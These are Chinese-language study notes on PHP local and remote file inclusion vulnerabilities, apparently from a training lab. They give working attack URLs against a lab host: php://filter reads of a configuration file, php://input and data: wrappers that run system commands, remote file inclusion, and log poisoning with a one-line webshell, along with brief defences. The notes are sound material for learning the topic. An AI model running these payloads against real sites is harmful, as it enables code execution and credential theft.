一、什麼是文件包含
程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件。而無需再次編寫,這種 文件調用的過程一般被稱爲文件包含。
例如:include “conn.php”
PHP中常見包含文件函數
include()
當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進
來,發生錯誤時之給出一個警告,繼續向下執行。
include_once()
功能與Include()相同,區別在於當重複調用同一文件時,程序只調用一次
require()
require()與include()的區別在於require()執行如果發生錯誤,函數會輸出
錯誤信息,並終止腳本的運行。
require_once()
功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次。
include :包含的文件不存在,程序會繼續執行
require:包含文件不存在,程序停止執行
文件包含
1,利用
僞協議
php://input (allow_url_include)
php:fileter/read
php:date:text/plain(allow_url_include/fopen)
2,包含其他文件
1,本地,包含日誌文件,session,錯誤日誌
2,遠程,allow_url_fopen,allow_url_include
3,挖掘
1,代碼審計
2,掃描器
4,防護
open_basedir
過濾.
關閉allow_url_fopen,allow_url_include
補充:
文件包含
修改apache配置文件
1,記錄日誌 修改httpd.conf
#CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" common #普通類型
CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" combined #複合類型
<IfModule log_config_module>
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
</IfModule>
#php文件包含漏洞
http://www.freebuf.com/column/148886.html
php僞協議:不需要開啓allow_url_fopen,
僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啓allow_url_include。
# (php://filter: php://filter 讀取網站源碼)
是PHP語言中特有的協議流,作用是作爲一個“中間流”
來處理其他流。比如下面的代碼,我們可以把conn.php配置文件轉換成base64編碼並輸出:
http://172.18.199.199/14-include/01.php?page=php://filter/read=convert.base64-encode/resource=../03-session/conn.php
# (php://input 接受post請求,並執行裏面的代碼)
https://www.cnblogs.com/ningskyer/articles/4712597.html
http://172.18.199.199/14-include/01.php?page=php://input
php://input可以讀取沒有處理過的POST數據。相較於$HTTP_RAW_POST_DATA而言,它給內存帶來的壓力較小,並且不需要特殊的php.ini設置。php://input不能用於enctype=multipart/form-data”
我們應該怎麼去理解這段概述呢?我把它劃分爲三部分,逐步去理解:
1,讀取POST數據
2,不能用於multipart/form-data類型
3,php://input VS $HTTP_RAW_POST_DATA
# (data僞協議:data:text/plain,<?php system('config');?> 直接執行後面的代碼)
page=data:text/plain,<?php system('config');?>
http://172.18.199.199/14-include/01.php?page=data:text/plain,<?php system('ipconfig');?>
----------------------------文件包含漏洞除了可以包含你上傳的文件,日誌文件,session文件。。。---------------
# 如果php.ini開啓了allow_url_include=on
僞協議:
*-1 php://filter 讀取網站文件源碼 xxx.php?page=php://filter/read=convert.base64-encode/resource=路徑
*-2 php://input 接受post請求,執行裏面的php代碼 xxx.php?page=php://input
構造post請求 <?php phpinfo()?>
*-3 data協議: xxx.php?page=data:text/plain,<?php phpinfo();?>
*-4 包含遠程文件 進攻目標站 http://172.18.199.199 存在文件包含
遠程文件包含,包含的文件不能被解析。
攻擊語法:http://172.18.199.199/14-include/01.php?page=http://172.18.199.13/www/one.txt
xxx.php?page=http://172.18.199.13/one.php
文件包含防禦
修改配置文件php.ini 限制包含目錄
open_basedir=D:/phpStudy/WWW/14-include/
對開啓日誌運用kaliLinux 訪問,curl “http://xxxx.com”利用這樣的格式,替換爲一句話木馬等等腳本內容,然後對日誌文件進行訪問
但是有個重要的問題,凌晨左右日誌文件會重新生成,這個時候插入腳本會有比較好的效果不會被其他的訪問內容所影響。